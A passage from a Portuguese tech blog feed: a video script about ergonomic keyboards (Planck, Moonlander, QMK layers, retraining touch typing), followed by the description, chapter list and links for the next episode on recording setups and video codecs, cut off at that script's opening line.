<p>Fazendo isso eu consigo colocar de volta a tecla de igual e mais lá no canto superior direito, que no layout padrão é onde fica o backspace e aí eu perderia essa tecla. Tecla de igual usamos bastante em programação. No layout padrão do Planck, temos duas teclas especiais de troca de layers. Voltando ao assunto de layers, o Planck tem 3 layers, o que ele chama de layer baixo, layer alto e layer de ajuste. No meu caso eu fiz a tecla de backspace trocar pro layer baixo quando deixa apertado.</p>
<p>Vamos a mais detalhes. A gente costuma pensar em uma tecla como só tendo uma função. Por exemplo, a tecla de backspace, apaga uma letra. Se deixamos apertado ele sai apagando mais letras pra esquerda. Mas só com essa descrição sabemos que a tecla tem pelo menos 2 comportamentos diferentes pra 2 estados diferentes, o estado de teclar e o estado de deixar apertado, ou held. Olha só no Oryx, de fato eu posso configurar cada estado como eu quiser. E além de só apertar e deixar apertado eu ainda tenho os estados de dar duplo clique rápido e o estado de apertar rápido uma vez e deixar apertado no segundo toque que é esse &ldquo;tapp and then held&rdquo;.</p>
<p>Ou seja, cada tecla pode ter até 4 comportamentos diferentes e foi assim que fiz meu backspace também ter o comportamento de mudar pro layer baixo, quando deixa apertado sem soltar. Justamente um dos maus hábitos que nós temos é errar e sair apagando com backspace apertado a linha toda em vez de usar combinações mais eficientes como control + backspace que apaga palavras inteiras de uma só vez. Enfim, voltando pro Oryx, veja como está meu layer baixo hoje.</p>
<p>Quando eu deixo apertado o backspace, meu teclado muda de cor, que foi como eu configurei no Oryx. Agora as teclas da linha do meio da esquerda são os acentos mais chatos de português como til e circunflexo. E na linha do meio da direita eu deixei o mesmo esquema de navegação de setinhas como é no editor Vim, com H pra esquerda, J pra baixo, K pra cima e L pra direita. Vários outros utilitários de Linux costumam navegar no estilo Vim e esse eu acho que é o jeito mais eficiente pra navegar por um texto.</p>
<p>Esse ponto vale explicar mais. Vamos lá, o grande motivo de porque a maioria das pessoas não tá disposta a experimentar layouts abaixo de 65% é porque perdemos as setas de navegação que ficam lá embaixo na direita; olha só neste teclado 65% por exemplo. Você tá digitando seu texto ou código aí decide que faltou digitar alguma coisa no parágrafo de cima, o que você faz? Tira a mão direita inteira do teclado e move lá pra baixo. Daí quando termina de navegar, agora precisa encontrar a posição neutra tudo de novo pra voltar a digitar.</p>
<p>Agora vamos ver como é no modo Vim. Mesma coisa, quero navegar algumas linhas pra cima pra acrescentar alguma coisa. Agora eu aperto o backspace e deixo apertado pra mudar pro layer de baixo, sem tirar as mãos da linha do meio eu navego e imediatamente volto a digitar sem tirar as mãos do meio do teclado. Essa é a grande vantagem da navegação Vim. E some a isso esse layout de 40% e literalmente os dedos não precisam se mover mais do que uma tecla pra cima ou uma tecla pra baixo.</p>
<p>Isso ajuda mesmo acentuação de português que é um saco. Pensa o til. Se você digitava errado como eu, a gente precisa tirar a mão esquerda toda da posição pra alcançar shift e til, ou apertar shift com mindinho da direita e til com mindinho da esquerda, puta combinação chata. No meu caso eu configurei pra ser no layer de baixo então só aperto backspace com o dedão pra ativar o layer e F que é onde configurei pra ser o til. Essa é uma combinação bem mais próxima e sem malabarismo, com dois dedos fortes, o dedão e o indicador. E no caso de acentos eu recomendo que se experimente diversas combinações pra achar o que mais se adequa pra você.</p>
<p>No meu caso, no layer de cima é onde estão coisas como as teclas de função de F1 a F12 aqui no bloco do lado esquerdo. Eu quase nunca uso essas teclas, mas tá lá se precisar. E no lado direito tem uma curiosidade que ainda não me acostumei. Em vez de tirar a mão do teclado e pegar o mouse, pra coisas pequenas como clicar num campo num formulário de um site pra dar foco, eu posso controlar o cursor do mouse via o teclado. Olha só. Eu ativo o layer de cima e com essas teclas de baixo na direita mexo o cursor e posso até clicar com equivalente do botão direito ou esquerdo do mouse. A idéia não é substituir o mouse, mas só evitar precisar dele pra coisas pequenas e rápidas.</p>
<p>Enfim, eu já reconfigurei esses layouts literalmente dúzias de vezes. Toda vez que vou digitar um texto novo percebo alguma coisa que quero mudar de lugar. Depende muito do tipo de coisa que mais digita. Lembra o que eu falei sobre layouts como colemak, workman e afins? Diferente de inglês, português usa muita acentuação, é um grande saco, e nenhum desses   layouts leva isso em consideração. Os acentos que a gente mais precisa ficam espalhados por todo o teclado. E com teclados como o Planck posso configurar onde Eu acho mais confortável.</p>
<p>Aliás, o Oryx não é o único software que existe. Cada fabricante costuma ter o seu, precisa pesquisar, mas em particular dê preferência pra teclados que aceitam firmwares QMK, que é um projeto de código aberto pra ser o cérebro de teclados customizáveis. O próprio software Oryx na realidade é o QMK com uma cara mais bonita que a ZFA fez pra ela. Uma das grandes vantagens é que toda essa configuração não fica só no seu computador. Deixa eu mostrar.</p>
<p>Toda vez que modifico alguma coisa, ele compila e me dá opção de baixar um arquivo binário. Daí eu abro esse aplicativo de Windows chamado Wally e seleciono o binário que acabei de baixar. Olhem como tem vários do planck porque eu tava brincando bastante com ele. Daí pede pra colocar o teclado num modo que aceite o upload desse binário, que é apertando um botãozinho com uma agulha. Demora alguns segundos, restarta o teclado e pronto, tá com a nova configuração. E toda vez que mudar qualquer coisa precisa fazer esse processo de novo.</p>
<p>A grande vantagem é que agora posso plugar esse teclado em qualquer outro computador e todas as minhas customizações vão funcionar igual, sem precisar instalar nada extra. Fica tudo na memória do teclado. Marcas grandes como Razer tem software 100% proprietário como o Synapse, que costuma dar mais prioridade em mudar o RGB do que realmente customizar o teclado e foi o motivo de porque eu disse que minha experiência com o Hunstman Mini foi horrorosa. Porque não podia mudar quase nenhuma tecla. E um teclado 40% que não deixa customizar tudo, não serve pra nada. Portanto fiquem espertos com compatibilidade com QMK, isso é o mais importante.</p>
<p>Agora, mesmo customizando tudo que quiser, mesmo assim você não vai conseguir sair digitando rápido no mesmo dia. De jeito nenhum. Mesmo se já é um bom digitador num teclado normal, se já consegue uma média de 80 palavras por minuto, tenha certeza que no dia 1 sua média vai cair pra 20 palavras por minuto ou menos. Ou seja, sua velocidade male male vai ser 25% do que era antes. E isso vai ser extremamente frustrante, porque 20 palavras por minuto é a velocidade de alguém catando milho. Velocidade de ficar olhando e procurando a tecla.</p>
<p>E não tem jeito, seu corpo se acostuma com tudo que você faz repetidas vezes, inclusive as coisas erradas. Por isso é tão difícil quebrar um mau hábito. E mesmo sendo ruim digitar com teclas desalinhadas, sua memória muscular tá acostumado a lidar com esse problema. Ele naturalmente digita errado, naturalmente seu dedinho vai pro backspace e você naturalmente fica nessa rotina de, digita errado, apaga, conserta, digita errado, apaga, conserta. Você faz sem pensar. Mas colocando um teclado 40% e ortolinear ainda por cima, a região consciente do seu cérebro certamente não tem como ignorar. Ele vai ter que voltar pro zero.</p>
<p>Voltar do zero significa abrir um notepad e começar a reacostumar dedo a dedo. Faz de conta que você tava acostumado a digitar a letra C com o indicador esquerdo. Então coloca as mãos na posição neutra e começa a digitar a tecla C com o dedo médio quinhentas vezes no notepad, até parecer que seu dedo médio acostumou que é Ele que vai no C. E vai fazendo isso letra a letra.</p>
<p>Quando terminar de se familiarizar com o teclado, agora precisa de treino intensivo e pra isso servem sites como o keybr.com. Lembrando que vai ser extremamente frustrante mas você precisa ignorar a frustração e prestar atenção. Qual dedo tá tendo mais dificuldade em qual letra? Seu mau hábito tá levando o dedo pra tecla errada? Então volta pro notepad e fica treinando só esse letra, até marretar no seu cérebro que é o outro dedo que tem que ir nessa tecla. Volta pro keybr, faz algumas rodadas de palavras com as letras que tá errando. Recalibra outro dedo errado no notepad, e vai fazendo isso, dedo a dedo. Seu dedo não pode mandar em você, precisa subjugar esses dedos rebeldes.</p>
<p>Lembra bigramas? Além de digitar as teclas com o dedo errado, tem diversas combinações que naturalmente digitamos mais rápido. Acho que isso varia de pessoa pra pessoa, mas por exemplo uma palavra como &ldquo;palavra&rdquo;, no meu caso o &ldquo;pala&rdquo; eu digito muito rápido, é o mindinho da direita, depois o mindinho da esquerda, daí o anelar da direita e de novo o mindinho da esquerda. Como alterna direita e esquerda, elas saem quase ao mesmo tempo. Se você digita com dedos errados, tá acostumado a combinações rápidas que agora vão sair devagar, e até reacostumar, vai ser a parte mais frustrante de reaprender, na minha opinião.</p>
<p>Imagino que foi intencional, mas por isso eu acho interessante não treinar no começo com palavras que tá acostumado. Olha como os testes de prática do Keybr são palavras nada a ver. Isso força seu cérebro a desistir da memória muscular, porque nenhuma palavra tem o ritmo que você espera, e aí precisa prestar mais atenção no que tá digitando em vez de confiar na memória. Esse é um bom jeito de começar a forçar a digitar da forma correta, tirando completamente da zona de conforto.</p>
<p>E quanto tempo precisa pra acostumar? De novo, isso não é científico porque é a experiência de uma única pessoa que sou eu mesmo. Se olhar no meu perfil no keybr, eu treinei um total de 4 horas, quase 500 testes de prática como esses que mostrei. Imagino que a maioria das pessoas não tem paciência pra ficar catando milho e se frustrando por mais que meia hora por dia, então chuto que vai levar mais de uma semana tentando, no mínimo, porque picado assim vai levar mais tempo no total. E não adianta, tem que ser um treino deliberado como falei, prestando atenção dedo a dedo e retreinando letra a letra. Não adianta querer sair digitando de qualquer jeito que aí sua memória muscular vai forçar os dedos errados nos lugares errados.</p>
<p>Eu sou meio retardado, e já tinha ouvido falar que podia levar 2 semanas ou mais de treino e eu tava com zero paciência pra esperar tanto. Então, essas 4 horas foram ao longo de 2 dias num fim de semana. E na realidade foi mais de 4 horas. Depois das primeiras horas no keybr decidi tentar palavras de verdade em outro site, no Monkeytype. E lá gastei mais 2 horas de treino e uns 300 exercícios. No total foram pelo menos umas 3 horas num sábado e mais 3 horas no domingo, total de quase 800 exercícios. Na verdade acho que foi mais porque eu só fiz conta no keybr bem depois que comecei a treinar.</p>
<p>Nas primeiras horas eu tava catando milho, no máximo 20 palavras por minuto. Mas é incrível o que treino deliberado prestando atenção no tempo, na métrica e disciplinadamente indo dedo a dedo fazem. No final dessas 6 horas já tinha voltado pra minha média de 80 palavras por minuto, e forçando um pouco mais já tava conseguindo ficar no range entre 90 e 100 palavras por minuto que era minha velocidade em teclados normais antes. Hoje em dia facilmente atinjo 90 palavras por minuto se estiver focado. Então a boa notícia é que se você for do tipo dedicado e focado, dá pra acostumar no layout ortolinear de boa em um único fim de semana, sem nem precisar se matar tanto assim.</p>
<p>Considere o seguinte, eu digito no estilo qwerty com teclas desalinhadas faz mais de 30 anos, e tinha alguns poucos maus hábitos de dedos em teclas erradas. 6 horas intensivas num fim de semana foi o suficiente pra corrigir meus maus hábitos e acostumar num alinhamento novo, o suficiente pra segunda-feira estar respondendo emails, conversando com o pessoal da empresa no chat e ninguém notando diferença na minha velocidade. Lembra meu episódio de a Dor de Aprender? Foi tipo isso.</p>
<p>Eu diria o seguinte. Os melhores digitadores conseguem fazer acima de 150 palavras por minuto se estiverem completamente focados. É muito difícil conseguir isso. O meu máximo, com 30 anos de digitação nas costas, é 100 palavras por minuto, mas isso se estou num site como monkeytype ou keybr: em condições perfeitas, foco completo, sem acentuação, sem pontuação, sem palavras em maiúsculo, ou seja, condições de laboratório.</p>
<p>Aliás, eu facilmente chego acima de 90 palavras por minuto se forem palavras em português. Uma coisa legal do Monkeytype é que dá pra escolher dicionários em várias línguas. No caso de inglês dá pra escolher dicionário de palavras fáceis e ir escolhendo de palavras bem mais complicadas pra dificultar o treino. Em inglês minha média cai pra casa dos 70 a 80 palavras por minuto. Por alguma razão eu digito bem mais rápido em português sem acentos. E um chute que eu tenho é que em inglês eu noto que uso mais igualmente as duas mâos, mas em português parece que eu uso bem menos a mão esquerda. Minha mão direita é um pouco mais devagar, daí em inglês vou mais lento que português. A velocidade não é a mesma em qualquer língua.</p>
<p>No dia a dia, eu devo estar muito mais próximo da média de 60 palavras por minuto. Até menos. Isso porque quando digito um texto, eu páro pra pensar, mudo de idéia, reescrevo de um jeito mais bonito ou menos agressivo. Ninguém fica digitando 100 palavras por minuto o tempo todo, só em ambiente controlado. Então eu diria que mais que digitar rápido, é mais importante digitar corretamente, cometendo menos erros. Erros é o que atrapalha seu raciocínio, porque quebra sua concentração ter que ficar dando um monte de backspace toda hora.</p>
<p>E falando em digitar muito rápido, um tanto de gente ficou me mandando um video que eu já tinha visto também no TikTok de um teclado diferente onde o cara consegue digitar 200 ou 300 palavras por minuto. É o Charachorder. Parecem duas bolas com botões pendurados. Vou resumir pra vocês: primeiro, esse teclado não presta pra gente. Segundo, essa idéia não é nenhuma novidade. Existe faz décadas.</p>
<p>Só existe uma profissão onde digitar extremamente rápido e sem erros é fundamental. Se você for um estenógrafo. Sabe séries de TV que tem julgamentos, tipo Suits da vida? Sempre tem aquela pessoa quieta que fica transcrevendo tudo que todo mundo fala no julgamento. Já pararam pra pensar como fazem isso? Pra conseguir transcrever uma pessoa falando em tempo real de fato você precisa ter velocidade consistente acima de 150 palavras por minuto, durante todas as horas que pode durar um julgamento. Digitar 100 já exige todo meu foco, imagina 150 ou 200 palavras por minuto durante um dia inteiro de 8 horas.</p>
<p>Num teclado normal isso é impossível. Com todos os defeitos legados que herdamos da máquina de escrever, não tem como. Nem se eu treinar muito no meu ortolinear, também é impossível. Eu preciso juntar meu teclado com um software que pensa junto comigo. É uma combinação de macros e autocomplete, que nem o teclado do seu smartphone faz sugerindo palavras antes de terminar de digitar. Palavras super longas eu abrevio pra uma combinação de poucas letras num macro, que nem snippets de código num VSCode. Os teclados especializados de estenografia oficiais custam super caros, até 6 mil dólares. Isso porque eles são essencialmente computadores com dicionários caros.</p>
<p>Esse cara do CharaChorder acho que vende o teclado diferentão e também tem opção só do software pra usar com um teclado normal. Ele usa características de teclados modernos como n-key rollover, que já expliquei no outro video que é digitar várias teclas de uma só vez e o sistema conseguir registrar todas elas. Ele faz isso. É semelhante à função de swipe de teclado virtual que a gente só desliza o dedo em cima das teclas e ele adivinha que palavra que a gente queria digitar.</p>
<p>Se quiser estudar mais sobre como se faz isso, hoje em dia tem machine learning envolvido porque é um processo estatístico que aprende baseado em frequência de palavras e n-grams. Mas precisa entender o que são cadeias de Markov e processo estocástico. Lembra quando povo fala que aprender matemática é opcional? Pois é, sem entender cadeias de markov, você nunca vai conseguir fazer coisas como um teclado virtual.</p>
<p>Mas esquece esse cara do CharaChorder. Nada do que ele tá vendendo é novidade. Você também não precisa gastar milhares de dólares e fazer curso oficial de estenografia. Teclado de estenografia tem só duas linhas principais de teclas em vez de três. Dá pra ou comprar um kit barato ou configurar seu teclado normal. Existe um projeto de código aberto chamado Open Steno que tem os softwares, documentação que ensina como usar, e uma comunidade de entusiastas que querem aprender a digitar tão rápido quanto um estenógrafo de verdade. Existe todo um campo de pesquisa e engenharia em cima disso. Isso existe faz décadas.</p>
<p>E de novo, esses sistemas funcionam bem quando tá tudo configurado de um jeito bem diferente do que seu teclado se comporta. Um estenógrafo que transcreve casos nos Estados Unidos tem configurado um bom dicionário em inglês. Se precisasse transcrever um brasileiro falando, ele ia ter problemas. Precisa de um dicionário em português, reconfigurar todos os macros, e retreinar tudo pra uma língua nova. Agora imagina programação, que todo código tem um monte de palavras que simplesmente não existem num dicionário, com um monte de parênteses, chaves e coisas que não se usa num texto normal. Daí esse tipo de teclado vai mais atrapalhar do que ajudar. Por isso eu falei, pra gente é meio inútil. Só serve se você quiser ser um estenógrafo ou se exibir em video no TikTok.</p>
<p>Digitar rápido não é o objetivo. Ninguém vai ganhar nada digitando 300 palavras por minuto. Você nem tem tudo isso de palavras prontas na cabeça pra digitar um texto ou código que faça sentido. Porra, a maioria das pessoas consegue digitar merda em 200 letras num tweet. Magina escrevendo 300 palavras por minuto o tanto de lixo sem sentido que vai sair. Foque em escrever correto e não em escrever rápido. O objetivo é não forçar seus nervos e evitar dores desnecessárias.</p>
<p>O Planck EZ não é o único nesse formato. Tem outros como o OLKB Planck da Drop, que antes era Massdrop. É exatamente o mesmo layout. No momento que eu tava escrevendo o episódio eles tavam sem estoque. Mas tem outros fabricantes menores e entusiastas que fazem kits de teclados nesse e outros formatos mais exóticos, vale dar uma pesquisada. Não são baratos. Pode esperar gastar 200 dólares, sem contar frete e impostos.</p>
<p>Mas o título do episódio é pra falar do melhor teclado do mundo, e esse ainda não é o Planck. Da mesma empresa ZFA já tinha um que muita gente elogiou que é o Ergodox e depois dele, a ZFA pegou os feedbacks e fizeram um melhor ainda, que é o Moonlander MK1. E se prestou atenção em tudo que expliquei agora, falta só voltar pra um ponto que falei lá no começo do video: melhorar a ergonomia.</p>
<p>O Planck é muito bom pra quem precisa carregar o teclado na mochila. Literalmente cabendo num case de Switch, sabemos que é super portátil. Mas se você trabalha remoto, e só precisa de um teclado, dá pra optar por um melhor. E esse é o Moonlander. A principal diferença é ele ser dividido no meio. Ele até foi feito pra ser razoavelmente portátil, embora eu não ache que esse é o objetivo. Vamos recapitular sobre postura.</p>
<p>Você quer sempre colocar o menor stress possível no seu ombro e nos seus braços, por isso tente sentar de tal maneira que seus ombros não fiquem assim tensionados pra cima. Eles tem que estar naturalmente pra baixo. Altura errada de mesa e cadeira que prejudicam isso. Além disso vocês já devem ter ouvido falar que quando usamos um teclado normal, rotacionamos, ou pronamos os braços de tal forma que arriscamos estar beliscando os nervos quando as mãos estão retas na horizontal. A posição natural seria o mais vertical possível.</p>
<p>É isso que muitos teclados ergonômicos fazem, sendo mais altos no meio, a tal forma de tenda, pra aliviar essa pronação forçada. Todo mundo que já usou um teclado ergonômico da Microsoft ou Logitech já viu formatos assim. Além disso, outra coisa que pode forçar seus ombros e pescoço é trazer as duas mãos pra junto, em vez disso seria mais natural estarem separadas. E são esses problemas que um teclado split, cortado no meio, tenta ajudar a resolver. Olha como eu deixo esse Moonlander na minha mesa. Sim, agora minhas mãos ficam quase meio metro separadas uma das outras. E sim, digitar corretamente é pré-requisito, porque se um dos seus maus hábitos é digitar alguma tecla do lado esquerdo com sua mão direita, agora não tem como.</p>
<p>Diferente do Planck, o Moonlander não é minimalista. Ele tem mais ou menos o equivalente a um teclado 60%. Não tem as teclas de função lá em cima e nem as teclas de setas. Por outro lado adiciona várias teclas auxiliares ao redor que podemos customizar como quisermos no mesmo software Oryx que mostrei antes. Em particular tem esses thumb clusters, ou grupos de teclas por dedões. Lembra quando falei que nossos dedões podiam ter mais trabalho? Pois é, agora podemos dar trabalho pra ele, se quiser cada dedão tem quatro teclas dedicadas de cada lado.</p>
<p>Igual no caso do Planck, eu ainda fico modificando o layout pra achar alguma combinação de teclas que acho mais confortável. E ele também tem diversas camadas que podemos configurar. No caso do Moonlander, posso criar quantas camadas quiser. Isso é útil se por exemplo eu uso Photoshop, DaVinci Resolve, Blender e quiser fazer camadas especiais pra cada programa. E assim como no caso do Planck, eu deixo coisas como enter e backspace nos dedões.</p>
<p>Diferente do Planck, que é ortolinear, ou seja, é alinhado tanto na horizontal quanto na vertical simetricamente, o Moonlander é colunar. A diferença é ser alinhado na vertical, mas não na horizontal e isso é a última forma de quebrar o legado das máquinas de escrever. Não só nunca fez sentido desalinhar as teclas na vertical, mas também não existe motivo nenhum pra serem alinhadas na horizontal. Pára e pensa, olha pras suas mãos. Seus dedos tem o mesmo comprimento? Então porque as teclas ficam alinhadas na horizontal?</p>
<p>Alinhamento na horizontal significa que seu indicador e principalmente dedo médio ficam o dia todo muito dobrados, e também significa que seus mindinhos precisam esticar pra alcançar os cantos. Se você tiver mãos grandes, seus dedos vão dobrar mais. Se tiver mãos pequenas, seus mindinhos não alcançam os cantos. Em ambos os casos vai estar fazendo esforço extra desnecessário. Mas e se simplesmente alinharmos as colunas de teclas de acordo com o comprimento dos dedos?</p>
<p>Eu entendi ortolinear e me convenci da teoria, mas vou dizer que estava um pouco cético do desalinhamento horizontal do colunar. Mas posso dizer que funcionou super bem. O único porém é que não é muito trivial saber como de fato usar esse alinhamento. Eu mesmo pensei que as duas metades deveriam ficar paralelas com meu braço, mas não, o certo é elas estarem levemente rotacionadas e abertas. Eu vi isso em outro canal que recomendo de teclados do Ben Vallack que vou deixar na descrição abaixo.</p>
<p>Em resumo, se deixar da forma paralela, mesmo as colunas levando em consideração o comprimento dos dedos, ainda assim o indicador tem espaço sobrando e os mindinhos precisam esticar demais. Mas inclinando dessa outra forma, olha como fica mais fácil pros mindinhos trabalharem. E essa é a melhor forma de digitar com o Moonlander. O trabalho é mais decidir quais configurações colocar em quais camadas e como ativar cada camada do jeito mais fácil e isso vai depender só do seu treinamento. Minha configuração serve só pra mim. Tem até algumas combinações como control + shift + colchete que precisa pra editar no DaVinci Resolve, e agora fica fácil porque posso juntar tudo numa tecla só e facilita horrores pra editar.</p>
<p>Essa idéia de considerar o comprimento dos dedos não é nova. Eu já tinha visto outras opções como o Kinesis Advantage 2. Ele também é ortolinear, mas em vez de desalinhar horizontalmente, ele foi além e colocou as teclas todas numa cuba, como dá pra ver nessa imagem, porque é até difícil de descrever em palavras. E agora que aprendi a digitar com ortolinear, consigo entender porque esse teclado funciona bem. Talvez um dia experimente, mas tem uma coisa que não gosto dele, o fato de ser gigantesco e de não poder colocar as duas metades separadas como quiser. Mas eu sei que tem projetos pra impressora 3D e kits inspirados nesse formato que tentam melhorar esses pontos, vale pesquisar.</p>
<p>Se você leva a sério a história de ergonomia, tanto o Moonlander quanto o Advantage 2 cumprem mais ou menos as mesmas coisas que expliquei em termos de evitar pronar o braço e dar menos stress nos ombros, mas em termos de estética ainda prefiro mil vezes o Moonlander. Mais ainda porque se você realmente quiser levar pras últimas consequências, embaixo de cada metade do Moonlander tem um encaixe pra um acessório que faz ele ter o mesmo encaixe padrão do parafuso que tem em tripé de câmera fotográfica. E a ZFA tem um acessório que encaixa nele e você pode fazer um adaptador pra colocar no braço da sua cadeira.</p>
<p>Sim, o teclado sequer precisa ficar na mesa. Dá pra encaixar cada metade em cada braço da cadeira pra posição mais bizarra de todos os tempos e vou dizer que agora que aprendi a digitar corretamente em cada metade, essa idéia até que me atrai. Sem contar que daria pra colocar num tripé de cada lado pra poder digitar de pé em mesas que levantam em altura. Tem muitas possibilidades.</p>
<p>E falando em possibilidades e no canal do Ben Vallack, como último assunto não podia deixar de falar de uma versão de teclado que estou querendo testar. Pois bem, os homo ludens chegaram no layout 40%, mas essa ainda não é a última forma. Lembrem, o objetivo é evitar ao máximo tirar os dedos da linha do meio e no máximo mover uma tecla pra cima ou pra baixo, mas ainda tem muita tecla no Moonlander.</p>
<p>Graças às novas funcionalidaes de firmwares de código aberto como o QMK e de aumentar a densidade de funções que uma única tecla pode ter, chegamos no ponto que podemos remover ainda mais teclas. E o Ben e diversos outros entusiastas falam agora no layout de meras 34 teclas. Seria um layout 33%, que é o menor que podemos chegar. Dá pra colocar tudo em camadas e combinações de teclas. Recomendo dar uma olhada na série de videos onde ele faz experimentações com diversas configurações até chegar nesse modelo. É fascinante ver qual é o limite dos teclados. O Ben começou tirando teclas do Moonlander e configurando no Oryx pra não usar essas teclas e foi testando pra ver até onde dava pra ir. E disso projetou um teclado próprio de só 34 teclas que ele vai mostrando no canal.</p>
<p>E quem quiser uma versão um pouco mais extrema que o Moonlander e um pouco menos extrema que o do Ben, tem esse GergoPlex, que é até barato por 45 dólares. Bem mais acessível que os 200 do Planck ou os mais de 360 dólares do Moonlander. E além dele tem diversos outros kits. Hoje em dia povo projeta e faz impressão 3D e até os PCBs que são as placas lógicas dá pra fazer o projeto e só mandar imprimir em serviços como no JLCPCB.com. É o sonho de todo engenheiro elétrico. A comunidade de teclados abaixo de 40% tá mandando ver em opções acessíveis e com firmwares de código aberto como o QMK, só tende a aumentar as opções.</p>
<p>E realmente é prático? Dá pra aprender a usar um Planck ou Moonlander e digitar coisas de verdade? Bom, este episódio foi digitado metade no Moonlander e metade no Planck. A parte chata é que algumas combinações de teclas são diferentes nos dois e leva alguns minutos pra eu lembrar qual era qual. Mas agora digito melhor e com menos erros e na mesma velocidade de antes. Lembra o último episódio do tutorial de WSL2 que falei que deu umas 40 páginas de Word? Também inteiro escrito com o Moonlander. E na realidade os últimos 4 episódios foram escritos totalmente com o Moonlander. Eu gostei tanto que já comprei mais um pra colocar no escritório o dia que voltarmos da pandemia.</p>
<p>E agora sim, eu acho que finalmente falei tudo que queria falar sobre teclados. Acabou se tornando um hobby experimentar tudo que sai de novo e essa comunidade de entusiastas tá o tempo todo procurando maneiras mais eficientes de digitar. Só nesse canal, que tem mais de 100 episódios, se der uma média de 20 páginas por episódio, já soma mais de 2 mil páginas. Quase 2 livros do Cormem de algoritmos ou quase os 3 primeiros volumes de livros do Knuth. Mas lembrem-se que a escolha de qual teclado e qual layout usar depende dos seus objetivos pessoais. Se você não sente que precisa mudar nada, não tem nenhum problema. Nenhum teclado vai fazer você fica magicamente melhor. Se ficaram com dúvidas, mandem nos comentários abaixo. Se curtiram o video deixem um joinha, assinem o canal e compartilhem o video com seus amigos. A gente se vê na próxima, até mais.</p>
]]></content:encoded><category>teclados</category><category>hardware</category><category>produtividade</category><category>akitando</category></item><item><title>[Akitando] #105 - Mostrando meu Setup de Gravação | Aprendendo sobre CODECs</title><link>https://akitaonrails.github.io/2021/10/01/akitando-105-mostrando-meu-setup-de-gravacao-aprendendo-sobre-codecs/</link><guid isPermaLink="true">https://akitaonrails.github.io/2021/10/01/akitando-105-mostrando-meu-setup-de-gravacao-aprendendo-sobre-codecs/</guid><pubDate>Fri, 01 Oct 2021 11:12:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/ApaPk9ToRJM"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;h2&gt;DESCRIÇÃO&lt;span class="hx:absolute hx:-mt-20" id="descrição"&gt;&lt;/span&gt;
&lt;a href="#descri%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Transformando Limão em Limonada é o tema. Finalmente vou mostrar o setup que eu vim fazendo upgrade pra fazer videos melhores. Em particular meu novo Atomos Ninja V. E vou aproveitar pra explicar um pouco sobre CODECs de video. E no final vou mostrar meu cenário em mais detalhes.&lt;/p&gt;
&lt;p&gt;Pra quem tinha curiosidade de saber como eu faço meus videos, este é o video!&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/ApaPk9ToRJM"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h2>DESCRIÇÃO<span class="hx:absolute hx:-mt-20" id="descrição"></span>
    <a href="#descri%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Transformando Limão em Limonada é o tema. Finalmente vou mostrar o setup que eu vim fazendo upgrade pra fazer videos melhores. Em particular meu novo Atomos Ninja V. E vou aproveitar pra explicar um pouco sobre CODECs de video. E no final vou mostrar meu cenário em mais detalhes.</p>
<p>Pra quem tinha curiosidade de saber como eu faço meus videos, este é o video!</p>
<h2>Conteúdo<span class="hx:absolute hx:-mt-20" id="conteúdo"></span>
    <a href="#conte%c3%bado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>00:00 - Intro</li>
<li>01:24 - Perdi minhas gravações, de novo!</li>
<li>03:19 - Sony a7iii</li>
<li>05:11 - Europeus fazem leis idiotas</li>
<li>06:06 - Captura de video no PC</li>
<li>06:29 - Setup do meu PC atual</li>
<li>10:39 - Setup do áudio</li>
<li>11:12 - Telepromper</li>
<li>11:24 - Meu processo de gravação antigo e chato!</li>
<li>12:59 - Solução: Atomos Ninja V</li>
<li>14:22 - Codecs e Containers</li>
<li>16:57 - Como um video é estruturado?</li>
<li>17:28 - Compressão. Imagens, áudio e video</li>
<li>22:25 - Codecs de delivery vs de edição</li>
<li>26:20 - Chroma Subsampling. Monitor vs TV</li>
<li>28:51 - iPhone 13</li>
<li>29:30 - Comparando Codecs</li>
<li>33:28 - Tour pelos detalhes do meu Cenário</li>
<li>36:22 - Final</li>
</ul>
<h2>Links<span class="hx:absolute hx:-mt-20" id="links"></span>
    <a href="#links" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>Video Codecs &amp; Compression Guide (Feat. Atomos Ninja V) (<a href="https://www.youtube.com/watch?v=wX9KGRHaMEY"target="_blank" rel="noopener">https://www.youtube.com/watch?v=wX9KGRHaMEY</a>)</li>
<li>Playlist: Computerphile - Digital Imaging - Mike Pound (<a href="https://www.youtube.com/watch?v=06OHflWNCOE&amp;list=PLboJFH3ATn0yC9uLuRLhaezUvtVPLtQvv"target="_blank" rel="noopener">https://www.youtube.com/watch?v=06OHflWNCOE&list=PLboJFH3ATn0yC9uLuRLhaezUvtVPLtQvv</a>)</li>
<li>This Is What Happens When You Re-Upload a YouTube Video 1000 Times! (<a href="https://www.youtube.com/watch?v=JR4KHfqw-oE"target="_blank" rel="noopener">https://www.youtube.com/watch?v=JR4KHfqw-oE</a>)</li>
<li>Have we gone MAD?? (12k video - <a href="https://www.youtube.com/watch?v=pocfGBQZUSI"target="_blank" rel="noopener">https://www.youtube.com/watch?v=pocfGBQZUSI</a>)</li>
<li>Do TVs Suck As Monitors? (<a href="https://www.youtube.com/watch?v=Jcd07Fndqus"target="_blank" rel="noopener">https://www.youtube.com/watch?v=Jcd07Fndqus</a>)</li>
</ul>
<h2>SCRIPT<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
